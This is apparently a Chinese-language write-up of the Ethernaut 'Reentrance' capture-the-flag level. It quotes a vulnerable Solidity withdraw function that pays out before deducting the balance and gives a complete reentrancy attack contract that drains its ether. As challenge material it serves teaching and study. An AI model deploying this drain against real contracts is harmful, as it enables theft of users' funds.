Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。
将 Reentrance 合约中的ether全部转出来。
这是一个类似于钱包的合约,可以向里面存取 ether,转ether时会有一个强制的回调hook机制,而且这个钱包的扣余额时在转账之前的,所以可以进入无限 hook 回调导致ether被偷走。
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
// 提现,会触发 receive 方法
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
// 扣除余额
balances[msg.sender] -= _amount;
}
}
攻击合约代码
interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint256 _amount) external;
}
contract ReentranceHack {
IReentrance public exploitInst;
// 第一次的余额,后面每次循环提前金额都不能超过它
uint256 private initialDeposit;
constructor(address _target) {
exploitInst = IReentrance(_target);
}
function attack() external payable {
require(msg.value >= 0.001 ether, "send some more ether");
initialDeposit = msg.value;
exploitInst.donate{ value: initialDeposit }(address(this));
_withdraw();
}
receive() external payable {
_withdraw();
}
function _withdraw() private {
// 最开始存的钱,转账不能超过这个数,重入会被拦截
uint256 toWithdraw = initialDeposit;
// Reentrance 余额小于 每次重入转账的金额,调整金额吧把剩下的转出来
uint256 challengeBalance = address(exploitInst).balance;
toWithdraw = toWithdraw > challengeBalance ? challengeBalance : toWithdraw;
if (toWithdraw > 0) {
exploitInst.withdraw(toWithdraw);
}
}
}
非常之多,后面可能出一个系列来讲以前智能合约写的有多烂。
….
….

